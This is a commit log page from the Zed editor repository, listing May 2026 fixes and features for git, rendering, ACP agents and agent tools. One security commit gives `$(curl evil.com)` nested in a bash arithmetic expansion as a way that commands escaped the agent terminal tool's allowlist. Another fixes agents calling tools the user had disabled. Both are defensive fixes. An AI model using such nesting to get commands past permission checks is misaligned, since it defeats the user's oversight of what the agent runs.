Commit Graph
39151 Commits
Author SHA1 Message Date
Ben Brandt 759f027f8a acp: Show running agent version in configuration (#55824)
Store the ACP agent version from agent_info and expose it
through AgentConnection so the configuration UI can display it
for connected agents.

Helpful when debugging to know which version is currently running.

<img width="214" height="67" alt="image"
src="https://github.com/user-attachments/assets/4f4c0e3c-a621-48fb-98d4-67329db1e62a"
/>


Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- acp: Show running agent version in the External Agent settings
2026-05-06 09:36:43 +00:00
Ben Brandt 9a679b3226 eval_cli: Set global filesystem in eval CLI init (#55862)
Some dependency started requiring this, so fixing some runtime errors.

Release Notes:

- N/A
2026-05-06 09:35:43 +00:00
Piotr OsiewiczandSmit Barmase cc279a46fa editor: Improve find_matches and replace_all perf (#51941)
Helps with https://github.com/zed-industries/zed/issues/38927

- **editor: Add a benchmark for find/replace**
- **text: batch fragment insertions before turning them into a SumTree**

## Context

<!-- What does this PR do, and why? How is it expected to impact users?
     Not just what changed, but what motivated it and why this approach.

Link to Linear issue (e.g., ENG-123) or GitHub issue (e.g., Closes #456)
     if one exists — helps with traceability. -->

## How to Review

<!-- Help reviewers focus their attention:
- For small PRs: note what to focus on (e.g., "error handling in
foo.rs")
- For large PRs (>400 LOC): provide a guided tour — numbered list of
files/commits to read in order. (The `large-pr` label is applied
automatically.)
     - See the review process guidelines for comment conventions -->

## Self-Review Checklist

<!-- Check before requesting review: -->
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Improved performance of "Replace All" in buffer search

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
2026-05-06 09:28:05 +00:00
Lukas WirthandJohn Tur f5945344cc gpui(windows): Fix unwrap panic when monitor goes missing (#55630)
Fixes ZED-5K1

Release Notes:

- Fixed a panic on windows when a monitor disappears from windows
monitor enumeration

---------

Co-authored-by: John Tur <john-tur@outlook.com>
2026-05-06 07:35:40 +00:00
Lukas Wirth fe1f7a60e4 Skip Git tracking for invisible worktrees (#55760)
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-05-06 06:57:06 +00:00
923f315f26 gpui_linux: Fix Wayland flickering under CPU load by skipping redundant surface commit (#54214)
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #32792 
Closes #38266 
Closes #54133

Release Notes:

- Fixed graphical corruption that could occur when using Wayland

----

**What**: Fixes flickering on Wayland (Sway/wlroots) under CPU load
(e.g. rust-analyzer running). The bug only reproduces in release builds
- debug builds are too slow to hit the race window.

Environment where this was reproduced: Intel GPU (both Xe KMD and i915),
Mesa 26.0.4, Sway 1.11.

**Why**: When wgpu presents a frame on Wayland+Vulkan, it calls
`vkQueuePresentKHR,` which - as required by the Vulkan spec -
synchronously issues `wl_surface.attach`, `wl_surface.damage`, and
`wl_surface.commit` to the compositor before returning. The commit also
picks up any pending frame callbacks.

Zed's `completed_frame()` independently calls `state.surface.commit()`.
This is a redundant second commit on the same surface. Under load, the
Wayland socket dispatch can be delayed enough that both commits are in
flight in close succession, and the ordering becomes timing-dependent.
When Zed's commit reaches the compositor before Mesa's attach+commit
sequence has been fully flushed, the compositor sees a commit with no
buffer attached, fires `wl_callback::Done` immediately, and Zed starts
the next frame too early - Mesa's real buffer arrives late, causing the
visible flicker.

Under no load, Mesa's synchronous commit consistently reaches the
compositor first, so the bug doesn't appear.

**Fix**: Track whether `renderer.draw()` actually called
`frame.present()`. When it did, Mesa owns the `wl_surface.commit()` for
that frame - skip Zed's commit in `completed_frame()`. Only commit
ourselves when wgpu didn't present (surface not configured, lost,
occluded, etc.) - in those cases Mesa won't commit, and we need to keep
the frame callback alive.

---------

Co-authored-by: Benjamin Laib <b5l@users.noreply.github.com>
Co-authored-by: John Tur <john-tur@outlook.com>
2026-05-06 03:40:02 +00:00
Jake NorrisandChristopher Biscardi 11f0ca5881 Fix git graph file diff view opening wrong file if a previous one is already open (#55595)
Fixed the portion of the open() function of the CommitView struct that
checked to see if the commit view was already open in a tab. Previously,
it did not account for files being filtered, and called
pane.activate_item() when it found a matching commit SHA open. Now, the
pane item is deleted and replaced with the new CommitView, respecting
the position of the tab. This allows for the filtered files to be
updated and work according to the expectations laid out in the mentioned
issue.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #55446

Release Notes:

- Fix git graph file diff view opening wrong file if a previous one is
already open

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
2026-05-06 01:49:36 +00:00
hayatoscandMax Brunsfeld 7b2acab040 Fix remote worktree path separators (#55486)
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #54641

Release Notes:

- Fixed creating git worktrees in WSL remote projects from Windows.

## Summary

- Preserve the repository `PathStyle` when constructing git worktree
paths.
- Avoid using local OS path separators when creating worktrees for
remote Posix projects such as WSL.
- Keep worktree archive path checks aligned with the same
path-style-aware worktree directory calculation.

## Root Cause

Remote repository paths are stored as `PathBuf`s, but `PathBuf::join`
and related path operations use the client OS separator. On Windows
clients connected to WSL, this could turn a remote Linux path into a
mixed path like `/home/<user>/\home\<user>\dev\worktrees\...`, causing
worktree creation and opening to fail.

## Validation

- `cargo fmt --all --check`
- `git diff --check`
- `cargo test -p project
test_new_worktree_path_uses_posix_style_for_remote_paths`
- `cargo test -p project test_worktree_directory_uses_remote_path_style`
- `cargo test -p project test_join_path_for_style_uses_remote_separator`

---------

Co-authored-by: Max Brunsfeld <maxbrunsfeld@gmail.com>
2026-05-06 00:06:51 +00:00
sunwukk990 dbbc25fc44 project: Fix cmd task quoting with venv activation (#55531)
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #55022

## Summary

When a task explicitly uses `cmd.exe`, Zed prepares it as a shell
invocation like `cmd.exe /S /C "<command>"`.

If Python virtual environment activation is enabled,
`Project::create_terminal_task` wraps that prepared task in an outer
activation shell so the venv can be activated before the task runs.

Before this change, the activation formatter treated the prepared `/C`
command string as a normal shell argument and quoted it again. On
Windows, that can make cmd receive escaped quotes literally, producing
errors like `'\\"echo Hi there\\"' is not recognized...`.

This preserves the prepared cmd `/C` command string while building the
activation command, and keeps the existing quoting path for ordinary
task arguments.

## Verification

- `cargo test -p project formats_prepared_cmd_task`
- `cargo test -p project formats_non_cmd_task_for_activation`
- `cargo check -p project`
- `cargo fmt --check --package project`
- Manually verified on Windows with a selected Python `.venv` that a
`cmd.exe` task prints `Hi there` and finishes successfully.

Release Notes:

- Fixed Windows `cmd.exe` tasks failing when run with a selected Python
virtual environment.
2026-05-05 23:20:14 +00:00
Conrad Irwin be705e677b Merge gpui::Task and scheduler::Task (#53674)
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-05-05 22:41:13 +00:00
Agus Zubiaga 20620a8c08 editor: Fix panic in text_layout_details pre layout (#55816)
Fixes a panic at `Editor::text_layout_details` when called against an
editor whose element has never been laid out (i.e., `set_style` has
never been called, so the cached `style` is still `None`).

We've seen this crash once through a helix motion. The exact production
sequence isn't clear — for the editor to receive a vim action without
ever having been drawn, the active item would have to have changed
inside the same update tick that ends with the deferred `search_submit`,
which is narrow but not impossible (since it's dispatched by the
workspace, not the editor).

Release Notes:

- Fixed a rare panic when invoking helix motions on an editor that had
not yet been laid out.
2026-05-05 21:46:22 +00:00
4e082632fc git_graph: Add remote support (#55788)
Follow up: https://github.com/zed-industries/zed/pull/55167,
https://github.com/zed-industries/zed/pull/54468

This is the final PR for adding remote support on the git graph. It uses
the client stream request support added in #55167 to add support for the
initial graph data request. I also fixed a bug where
`GitGraph::FullyLoaded` repository event was never emitted.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes ##53040

Co-authored-by: Remco Smits \<djsmits12@gmail.com\>

Release Notes:

- git_graph: Add remote support

---------

Co-authored-by: Ben Kunkle <ben@zed.dev>
2026-05-05 21:44:06 +00:00
Anthony EidandRemco Smits 2d5c4cede1 git_graph: Keep shared parents on the leftmost incoming lane (#55818)
Fixes git graph lane selection when multiple active lanes point to the
same parent commit, matching Git’s `--graph` behavior by keeping the
commit on the leftmost incoming lane instead of the first discovered
lane.

This should make it much easier to track long lived branches 

### Before
<img width="318" height="611" alt="image"
src="https://github.com/user-attachments/assets/b6799992-1a96-4c35-ad38-dd0c7d2ae0e6"
/>

### After
<img width="180" height="596" alt="Screenshot 2026-05-05 at 4 07 28 PM"
src="https://github.com/user-attachments/assets/a8727d59-c423-49c3-aad2-0097f23d9251"
/>



 
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A

---------

Co-authored-by: Remco Smits <djsmits12@gmail.com>
2026-05-05 21:07:52 +00:00
Richard Feldman c60c0d5f49 Strengthen guidance for git commands in the terminal tool (#55787)
Move guidance about pty-blocking commands from the `TerminalToolInput`
struct-level doc comment to the `command` field's doc comment so it's
surfaced more prominently to the model in the tool's JSON schema, and
call out `--no-pager` and `GIT_EDITOR=true` explicitly for git
operations.

In practice, the previous wording about `git --no-pager diff` was easy
for agents to overlook, leading to terminal calls that block waiting on
`less` (for `git log`/`git diff`/`git show`) or on an interactive editor
(for `git rebase`/`git commit`/`git merge`).

Unit eval change before/after wording change:

<img width="1662" height="740" alt="image"
src="https://github.com/user-attachments/assets/5f7921f3-87fa-4f88-9839-193ca4522572"
/>

Closes AI-154

Release Notes:

- Zed Agent's terminal tool now much more consistently uses `--no-pager`
and `GIT_EDITOR` with `git` commands
2026-05-05 19:51:55 +00:00
Ben Brandt 750a94c32d Update to wasmtime 36.0.9 (#55811)
Brings in backported fixes to solve some panics we've been seeing

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
2026-05-05 19:29:49 +00:00
Lucas White c34dd17435 Add issue triage project sync workflow (#55796)
Auto-syncs derived fields on a private GitHub Project (#84) from issue
labels and comment activity. Goal is to more effectively track issue
states and make sure we're triaging, closing the loop when
possible/relevant.

Self-Review Checklist:

- [ x] I've reviewed my own diff for quality, security, and reliability
- [ x] Unsafe blocks (if any) have justifying comments
- [ n/a] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ n/a] Tests cover the new/changed behavior
- [ n/a] Performance impact has been considered and is acceptable

Closes #ISSUE

Release Notes:

- N/A
2026-05-05 17:57:43 +00:00
Remco Smits 3fab3af56b git_panel: Fix commit message text behind Open Commit Modal button (#55565)
This PR fixes an issue where the your commit message inside the git
panel commit editor could be behind the `Open Commit Modal` button.

**Before**
<img width="391" height="180" alt="Screenshot 2026-05-03 at 18 11 33"
src="https://github.com/user-attachments/assets/f9c68665-ca82-4fb0-80e1-d501891f5ef5"
/>

**After**
<img width="359" height="179" alt="Screenshot 2026-05-05 at 18 18 58"
src="https://github.com/user-attachments/assets/1ff610c7-5758-4446-9666-67c194b1d3f9"
/>

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fix git commit message editor text could be behind the `Open Commit
Modal` button
2026-05-05 17:33:57 +00:00
morgankrey e1f79382b0 Add GPT-5.5 and GPT-5.5 pro model documentation (#55795)
## Summary

- Add pricing table entries for GPT-5.5 and GPT-5.5 pro
- Add context window entries for GPT-5.5/5.5 pro (272k)
- Fix context window values for all OpenAI models from 400k to 272k to
match actual cloud-enforced limit
- Update student plan note to exclude GPT-5.5 pro
- Update page description

Follows up on #54820 which added code support for GPT-5.5 models.

The 272k limit is enforced in the cloud due to context-tiered pricing
not yet being implemented.

## Test plan

- [ ] Verify pricing matches cloud repo configuration
- [ ] Check docs render correctly

Release Notes:

- N/A
2026-05-05 17:17:59 +00:00
Oleksiy SyvokonandBen Kunkle 20f86a729f ep: Fix V0420 Diagnostics format (#55798)
- Truncated diagnostics to fit ~2000 tokens
- Moved the diagnostics section before the cursor snippet
- Increased total tokens limit for this prompt to 8192 tokens

Release Notes:

- N/A

Co-authored-by: Ben Kunkle <ben@zed.dev>
2026-05-05 17:10:03 +00:00
Richard Feldman 3be7bdcbd9 Extract nested command substitutions from arithmetic expansions (#54690)
Bash arithmetic expansion `$((...))` can contain command substitutions
like `$(curl evil.com)`. Previously, `extract_commands_from_word_piece`
treated `ArithmeticExpression` as a no-op, so nested commands inside
`$(( ... ))` were never extracted for allowlist checking.

This fix re-parses the `ArithmeticExpression` value string using
`brush_parser::word::parse` and recursively extracts any embedded
command substitutions, mirroring how `CommandSubstitution` and
`DoubleQuotedSequence` are already handled.

Closes SEC-267

Release Notes:

- Commands nested inside bash arithmetic expansions (e.g. `$(($(curl
example.com)))`) are now understood by the tool-calling permissions
regexes.
2026-05-05 16:25:56 +00:00
Om ChillureandBennet Bo Fenner fc76622861 Fix agent being able to execute tools that are turned off (#54863)
#### Closes #54741

Fix disabled context server tools being callable in profiles with
`enable_all_context_servers: true`

`AgentProfileSettings::is_context_server_tool_enabled` short-circuited
on `enable_all_context_servers` and ignored explicit per-tool `false`
entries in `context_servers`, so agents could still call tools the user
had disabled in their profile.
The filter now matches what the tool picker UI already does
(`tool_picker.rs:357-371`): the explicit per-tool setting wins, and
`enable_all_context_servers` is only consulted as a fallback when the
tool has no explicit entry.

### Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Screenshots : 

When turned false
<img width="1920" height="1042" alt="1"
src="https://github.com/user-attachments/assets/ccc9093b-b0c7-4061-9349-f6a2e8170698"
/>

When true 
<img width="1920" height="1042" alt="2"
src="https://github.com/user-attachments/assets/f3e085cb-2b7d-4dab-9f89-4c735d809207"
/>



Release Notes:

- Fixed agent profiles with `enable_all_context_servers: true` ignoring
per-tool `false` overrides in `context_servers`, allowing agents to call
tools the user had explicitly disabled.

Co-authored-by: Bennet Bo Fenner <bennet@zed.dev>
2026-05-05 16:23:03 +00:00
Mikhail Pertsev 1da60a8518 editor: Extract Diagnostics code out of editor.rs (#55747)
cc @SomeoneToIgnore

## Summary

Follow-up to https://github.com/zed-industries/zed/discussions/55352,
where the conclusion was to split `editor.rs` incrementally by topic
instead of all at once.

This mechanically extracts diagnostics-related editor code into
`crates/editor/src/editor/diagnostics.rs` while preserving the existing
public API via re-exports.

## Testing

- `cargo check -p editor --lib`
- `cargo check -p diagnostics --lib`
- `cargo check -p diagnostics --tests`

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
2026-05-05 15:52:45 +00:00
Om ChillureandMax Brunsfeld 358d88d02f Fix git worktree popup popup no worktree when opened in a project (#55053)
## Summary

Fixes the `git: worktree` popup showing no worktrees when a project is
opened at the parent of a `.bare` directory (the common
bare-clone-with-sibling-worktrees layout).

## What's fixed

- `crates/git/src/repository.rs`
- New `git_binary_for_worktree_list` helper that uses
`repository.path()` as the working directory when `workdir()` is `None`.
  - `worktrees()` switched to the new helper.
- `parse_worktrees_from_str` accepts bare entries without a `HEAD` line.
  
- Tests
- Unit test: parser handles a bare entry with no `HEAD` followed by a
normal worktree entry.
- Integration test: full `.git`-file → `.bare` + sibling worktrees
layout (`main`, `feature-a`, `feature-b`) is listed correctly via the
real `git` binary.

UI rendering already gates on empty sha (`worktree_picker.rs` uses
`.when(!sha.is_empty(), ...)`), so the bare entry's empty sha renders
without artifacts.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments — N/A, no `unsafe`
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable — same
single `git worktree list --porcelain` invocation, no extra work

#### Closes #54824

Video 

[Screencast from 2026-04-28
09-43-45.webm](https://github.com/user-attachments/assets/e414d546-eb61-4cb2-857e-3c392f416f96)


Release Notes:

- Fixed the `git: worktree` popup listing no worktrees when a project
was opened at the parent of a `.bare` directory
(bare-clone-with-sibling-worktrees layout).

---------

Co-authored-by: Max Brunsfeld <maxbrunsfeld@gmail.com>
2026-05-05 15:34:56 +00:00
Ben Brandt 00a677e6cf acp_thread: Render execute tool titles as plain text (#55783)
We had a regression where the labels were being rendered as markdown,
which is usually not what you want on a command

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
2026-05-05 15:11:11 +00:00
Agus Zubiaga f5bd159ab8 Promote queued message to main editor on paste (#55780)
Pasting text or an image into a queued-message editor used to be a
silent no-op for text and a panic for images.

This change makes pasting into a queued message behave like typing into
one: the queued message is promoted into the main editor at the cursor
position, and the paste is then applied there.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #55521

Release Notes:

- Fixed a crash when pasting an image into a queued message
2026-05-05 15:06:14 +00:00
George Waters 4b3c0cda73 Support path pasting in terminal (#48222)
This adds the functionality to support pasting the file path of an item
when the copied item supports it. This mirrors the behavior of
`Terminal.app` on macOS.

This only implements the functionality on macOS but could be extended to
other platforms.

I find this convenient when I'm using Finder to navigate around the file
system and I want to copy a directory or file path and put it in the
terminal. You can copy the item from Finder and paste it into the
terminal and it will write out the full path of the item, making it easy
to change directories or provide path parameters to commands.

Release Notes:

- Added path pasting functionality in terminal
2026-05-05 14:50:57 +00:00
Bennet Bo Fenner 02af528c5a agent: Allow model to provide stringified timezone in now tool (#55776)
See
https://github.com/zed-industries/zed/issues/55186#issuecomment-4376114420

I think the recent changes to the tool schema in #55763 will make this
more unlikely, but does not hurt to allow the model to provide `"utc"`.

Release Notes:

- N/A
2026-05-05 14:40:43 +00:00
Vlad Ionescu a42374250f opencode: Support interleaved_reasoning and fix DeepSeek (#55574)
OpenCode API endpoints for DeepSeek were [moved from
Anthropic-compatible to
OpenAI-compatible](https://github.com/anomalyco/opencode/pull/24500) and
DeepSeek requires interleaved reasoning enabled to work. I ran a
_"rename this variable to potato"_ test and I can confirm DeepSeek V4
Flash and Pro both work now 🎉

Some other OpenCode Go models were marked [on
models.dev](https://github.com/anomalyco/models.dev/tree/dev/providers/opencode-go/models)
as supporting `interleaved_reasoning` so they too got that enabled. Kimi
K2.5 and Kimi K2.6 continue to fail with
https://github.com/zed-industries/zed/issues/51743
(https://github.com/zed-industries/zed/pull/55085 seems to hint at this
being [an OpenCode
issue](https://github.com/zed-industries/zed/issues/51743#issuecomment-4336785765)?),
but all other models seem to work fine both with `interleaved_reasoning`
and without it 🤷 I assume it's better to have that turned on? Again, the
intersection of OpenAI Chat Completions API, different models, different
inference providers, how they all work together is something I know
nothing about!

Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

Release Notes:
- OpenCode Go: use correct DeepSeek endpoints
- OpenCode: add support for interleaved_reasoning
2026-05-05 14:30:17 +00:00
Joseph T. Lyons 646672c35a Add an initial context menu to the git graph entrees (#55720)
This PR adds an initial context menu to the git graph entries. There are
a bunch of commit-specific actions we will likely want to add here over
time (e.g. create a branch at this commit, revert, etc.), but for this
PR, it only exposes the actions that were already available from the
commit details panel: `Copy SHA` and `View Commit`. We will also need a
context menu to land a future want of mine: custom git command support
in the git graph.

This was a bit trickier than a normal context menu addition because the
git graph uses the selected entry to drive the commit details panel. If
right-clicking a row went through the normal selection path, it would
also pop open the commit details panel if it was closed, or change the
commit currently being shown if it was already open. I don’t think
right-clicking to open a context menu should do either of those things.
The context menu target and the commit details panel should be
independent of one another.

To support that, this PR introduces `GitGraphContextMenu`. Most of this
state was already present as a tuple for rendering a context menu, but
it wasn’t wired up to graph rows. I pulled that state into its own type
and added an `entry_idx` field to track which row the context menu was
opened on. This lets the row highlight while the menu is open without
changing the selected commit or opening the details panel.

This also suppresses the commit subject tooltip while the context menu
is open, matching the pattern used elsewhere to avoid tooltips appearing
on top of context menus.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Added a context menu the git graph entrees
2026-05-05 14:22:50 +00:00
Ben Brandt cdbab194b7 acp: Allow resolving older npm package versions (#55770)
Lots of people are using `min-release-age` in their .npmrc files these
days.

I saw two options:

1. Force min-release-age=0 so we can always install the latest
2. Be more lenient in what we allow

I opted for 2, which means we convert `package@0.1.2` to
`package@<=0.1.2`. This means npm can find the latest version we can
that meets the user's requirements.

The downside is, the registry args/env may or may not work with the
resolved version, but that should at least surface better thanks to
#55757

There is also the issue that npm will cache package metadata and an
older version it has cached would still resolve. However, once the
metadata is updated, npm does use the newer tarball at least, so it will
update eventually.

It's a tradeoff, but I'd rather start with this until we have a better
solution on the ACP registry, rather than have users be upset becaue we
installed packages in a way they didn't want.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes
https://github.com/agentclientprotocol/claude-agent-acp/issues/516

Release Notes:

- acp: Better support min-release-age settings for npx-based agents from
the registry
2026-05-05 14:12:43 +00:00
Ben Brandt 7a34bc059e eval_cli: Update eval_cli toolchain and pin harbor (#55768)
Move `git_ui` to `agent_ui` test dependencies
and bump the eval CLI Docker image to Rust 1.95.0 while pinning
the Python `harbor` dependency to 0.6.4

Release Notes:

- N/A
2026-05-05 13:40:58 +00:00
Finn Evers a2cd962a1a editor: Un-pub ScrollManager (#55767)
Make this only pub(crate) in preparation for
https://github.com/zed-industries/zed/pull/44827

Release Notes:

- N/A
2026-05-05 13:01:02 +00:00
Ben Brandt 360f955c28 agent_servers: Include stderr in ACP startup exit errors (#55757)
Previously, we weren't waiting on the status future early enough so we
would just hang if we weren't able to start the agent process.

I also added the recent stderr logs in there to help the user debug the
issue, since it is likely relevant in these cases.

<img width="902" height="226" alt="image"
src="https://github.com/user-attachments/assets/204e42ff-4c9b-49e7-8a6d-ecf7b022fbd0"
/>


Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- acp: Improve error messages if the ACP agent fails to start.
2026-05-05 12:39:50 +00:00
Bennet Bo Fenner 9955c4579d agent: Simplify tool schemas for enums (#55763)
Previously schemars generated oneOf variants for these enums (because we
added inline comments), making the schemas more complicated than they
had to be.

E.g. `edit_file` `mode`

Before:
```json
{
  "mode": {
    "description": "The mode of operation on the file. Possible values:\n- 'write': Replace the entire contents of the file. If the file doesn't exist, it will be created. Requires 'content' field.\n- 'edit': Make granular edits to an existing file. Requires 'edits' field.\n\nWhen a file already exists or you just created it, prefer editing it as opposed to recreating it from scratch.",
    "oneOf": [
      {
        "description": "Overwrite the file with new content (replacing any existing content).\nIf the file does not exist, it will be created.",
        "type": "string",
        "const": "write"
      },
      {
        "description": "Make granular edits to an existing file",
        "type": "string",
        "const": "edit"
      }
    ]
  }
}
```

After:
```json
{
  "mode": {
    "description": "The mode of operation on the file. Possible values:\n- 'write': Replace the entire contents of the file. If the file doesn't exist, it will be created. Requires 'content' field.\n- 'edit': Make granular edits to an existing file. Requires 'edits' field.\n\nWhen a file already exists or you just created it, prefer editing it as opposed to recreating it from scratch.",
    "type": "string",
    "enum": ["write", "edit"]
  }
}
```

Release Notes:

- N/A
2026-05-05 12:39:41 +00:00
Ben Brandt b4a96f9c14 eval_cli: Fixes for termbench (#55762)
Release Notes:

- N/A
2026-05-05 12:32:58 +00:00
Bennet Bo Fenner 5eb6a465dc agent: Remove display_description from edit tool (#55752)
We did not really use it in practice (we would only display it in the
tool card header until we received a path), so as is it just wastes
tokens. Therefore removing it.

Release Notes:

- agent: Reduce token usage when LLM edits file
2026-05-05 12:11:24 +00:00
Bennet Bo Fenner d6cc34c167 agent: Cleanup edit_file evals (#55750)
- Rename `streaming_edit_file` to `edit_file`
- Remove workaround for replacing old edit tool with streaming edit file
tool

Release Notes:

- N/A
2026-05-05 09:58:05 +00:00
Cameron McloughlinandLukas Wirth f482f9e18c agent: LSP tools (#55744)
Adds 4 (technically 5) new tools to the zed agent, corresponding to LSP
actions:
- `find_references`
- `goto_definition`
- `rename_symbol`
- `get_code_actions` and `apply_code_actions`

Notes:
- `rename_symbol` skips doing a `prepare_rename`. If there is nothing to
rename at the position, it will forward the error to the agent
- The code action tools are stateful. The state is stored in the
`get_code_actions` tool itself as a `PendingCodeActions`. It is not
passed into/out of subagents. Calling `apply_code_actions` without
calling `get_code_actions` first is an error, but I've never seen an
agent do this

Symbols are identified by:
- file name
- line number
- symbol

If there is no substring match on that line for the symbol text, it is
an error. If there are multiple, it chooses the first. This may not be
great if you have a line like: `fn convert(x: foo::Something) ->
bar::Something` - the second `Something` is a different symbol, but is
inacessible to these tools. Probably fine for now, but we can look into
improving


Release Notes:

- Added: New tools for the Zed Agent for interacting with language
servers

---------

Co-authored-by: Lukas Wirth <me@lukaswirth.dev>
2026-05-05 09:35:08 +00:00
Max Brunsfeld 0fd49c840a Improve grouping of worktrees by repo in recent projects (#55715)
* Perform grouping even for repositories that have no main worktree
* Enable grouping for remote projects
* Delete entire project groups when deleting via the recent project
picker

Release Notes:

- Fixed a bug where each linked worktree appeared as its own entry in
recent projects for repositories without main worktrees
- Fixed a bug where deleting projects from the recent projects sometimes
appeared to have no effect.
2026-05-05 08:21:03 +00:00
Lukas Wirth ec0fb05a44 lsp: Reduce lsp log spam for unimportant failures (#55732)
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-05-05 06:57:05 +00:00
Lukas Wirth 3458325265 outline: Fix panic due to stale outline hover selection (#55674)
Fixes ZED-687

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-05-05 05:10:46 +00:00
